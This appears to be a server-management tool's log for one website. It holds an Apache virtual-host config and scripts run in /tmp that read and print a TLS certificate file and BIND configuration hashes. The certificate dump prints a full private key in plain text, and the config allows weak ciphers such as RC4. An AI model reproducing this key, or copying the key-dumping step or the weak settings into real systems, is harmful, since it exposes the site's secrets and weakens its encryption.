/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-01 06:00:18: 

PUT: /tmp/pkp455752

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-01 06:00:18: 

chmod 755 /tmp/pkp455752; /tmp/pkp455752; rm /tmp/pkp455752

2026-04-01 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5401
2d:e0:03:cc:e7:dc:a3:2d:78:fd:dc:31:1d:bc:a3:c1

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBi+Hed5sphabADJx0UgcH6UxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDAxMDUwMTQ1WhcNMjYwNjMwMDUwMTQ0WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC+xT/Nzg4XKyCdVMWFN4oyhk/1SbeKD+ZLe6zC+XT8e5LdHZf4c9jf
6vPlE7r81psAp++MOTbNhO9wH1qNuX0raBPtvtbdmySd9VFGOs0xzx8Rk8oo6jxg
7yKlR86vhoyzo8F7ytTZ6/fQluPFlKxrepQVprnNFYi17p9sEAXFrmmYMw6pg4hV
LrcoGp5cgZLavqXeG4EykdeXOI5AV0xKtL+y0sUQH9TgiqqMpqUVuedIYG7WZOqB
DI24RU+pV+fznfN1ystFnnUhocX65ePpVQN/9JRJrqtoElwNQQVRrWrEX/BnCyT6
t5uUu4lDS9O0JJxgBfup4Pj9xApzZC0RAgMBAAGjggJAMIICPDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUEQAHLMFntTw5DYDv2ZHGiGEwpdswHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghV0aGV5b3VuZ2Rlc2lnbmVycy5jb22C
GXd3dy50aGV5b3VuZ2Rlc2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81MC5jcmww
ggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak
8zZuRqQ/D8qpxgAAAZ1HoNLrAAAEAwBIMEYCIQDXwIANs1MkrJSTt1JKM5tTACSO
QYhSJhwbrSV8LU1B7wIhANZKZqxnW2RYraBkrOrwsNLAC0BsNIGv6pPh7YDgYNEe
AH8AGoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGdR6DWnAAIAAAF
AFoKAmsEAwBIMEYCIQCQ4Zt6wBl5gPB/PJ9qLCrTQgedLXUDuL2+vEh8ye+EdwIh
AM/Z+tDdipN2MxRnA4iAwHMaS3X6+yeUl6eK7GBEI/dOMA0GCSqGSIb3DQEBCwUA
A4IBAQBQyz+tV4ggcQQNc963BdTWOh/umcdjOiPaptKxoCR10dDXav8qQu9LuCoa
Uy4YadpFEVBx4xQ+LOqrXchSeSVsmbggms0yZvUbvDj+j6DIXdzKkaCcspUJ8Ccd
bo2DBoGqrlaK4+rOYndRMIJL9QWu9tHAK2tbE1az/L3mvkWGiSm0s9bgYEUVxmu+
VQTuOZrfRP9S9HpKgZ/xhvfMxEVNsurf+oDfzYttVrskbDGmVCzkXyyvjKO5Wd6r
1uJ6i2cSIaGssyuSj6sC9tQtsvHcxrWtnMP25liHx2xBGuU49f77lflfBTv3Os2W
jYfoTjY7LcDJBQDsa/YBo59BfrxS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+xT/Nzg4XKyCd
VMWFN4oyhk/1SbeKD+ZLe6zC+XT8e5LdHZf4c9jf6vPlE7r81psAp++MOTbNhO9w
H1qNuX0raBPtvtbdmySd9VFGOs0xzx8Rk8oo6jxg7yKlR86vhoyzo8F7ytTZ6/fQ
luPFlKxrepQVprnNFYi17p9sEAXFrmmYMw6pg4hVLrcoGp5cgZLavqXeG4EykdeX
OI5AV0xKtL+y0sUQH9TgiqqMpqUVuedIYG7WZOqBDI24RU+pV+fznfN1ystFnnUh
ocX65ePpVQN/9JRJrqtoElwNQQVRrWrEX/BnCyT6t5uUu4lDS9O0JJxgBfup4Pj9
xApzZC0RAgMBAAECggEABj2tuK3lCB0BFCSR0anfe4epVfzzZDDg99cz76z5hskE
JPey4Q3pKmolUHk0xNDAgWT9ETlN8atHqgNckwZece0VudFkdht9Ny2vWvzRea+s
9IZBNtVy5DjuiTmwKU3djILu8X3ROM/fa5OEIBKdEWcRMSQjL/JkZo9H5+EeTzk2
5W4/2xvJsmp3ap9IoP6gw/GA5KVo+edJLi3CX12aUP68v7/yIzp3v8M+HpcDFqGI
DXPlkz1OutzbuzthRFOJRiNA12X+uPE6DK/APFL8yutzyWOVPg6hgZtSG/vYIypq
V9+dD8VujnRMN9O4Q617UhpN7mder6n7XX5coKIAAQKBgQD8E0TrZd2J9y+MIrl6
YySaeKdZeH0ir1EffSy5ibQmRse3tmaGMDnCICkDl6ow3gKLuZB5LMNf+SwqD6+w
eEWr4AdAI3NBKpvreWMq2twJu/yNOE+sgUBRX+7SOTLQ3i0S9r//Ya8RuvMSyLft
Qp9eoRaF7mEx/WVw5RjAXvDsgQKBgQDBvaEWrydUjULFKODAmPlqs/gnXTlmPIjy
rFJzn7cB4l4EWITbJv2ZK/brg6gxoiZSIH1y5mvQPeVVUcPkALyNEhfHEJIIUmtB
TzGZru/tiBAE/EG5vIGCH3FsTKh1hk0O7tLvLxd/rjueRkpI+FiEaFqAY6M5jOFg
/qv9yDI4kQKBgQCtwMKC2AZq8R2vJMhg2jIC4CPKgkkPPXVXlTrc8VRiBevocCwf
VuKZMv3SYhqH8KAkm9ZAEGDjqKeOnp1lsKGlpZiZ11W8l5g+Kb/3bEC73P5qgWQ5
7iXdcZj3A0JJwrujFL6nVDgOqqSeUAin3IJqAfO6geQxRw9DUEdNYqQDAQKBgAb2
/jeGjG9ptKDJ22qRFUZUufMQUuPuAS5YK46kizuyG5ckZ4JJYIyFHBdTYFSIc8A4
EspypiWSVBBBJD2qGR0pLVmmqtlJvTlX03ym4VE0tv624tX+hNlcsAMorlWrQlHr
HAIlOz8H0HTcKgd9hhEcf0RmUJPdEK0f+qbg741BAoGBAMy93shJ84U4akf09oYG
yWf8H04vWqZeGFRlEgzg/a8vJTUIVvqVuPFBAiqWOyMUbCLqERKvepVHy3/AiAlo
FhZGNcOWNc9n3GbLbFDOXwyXmYhrSTdipCGG49xeI9lmv1r8zUp1HEhO7PhIM/s8
UyQeVVpGw1SFWGzqP/UHIMOW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-01 12:53:18: Establishing a connection
2026-04-01 12:53:27: Establishing a connection
2026-04-01 12:53:27: 

PUT: /tmp/pkp672855

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-01 12:53:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp672855; rm /tmp/pkp672855'

2026-04-01 12:53:28: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
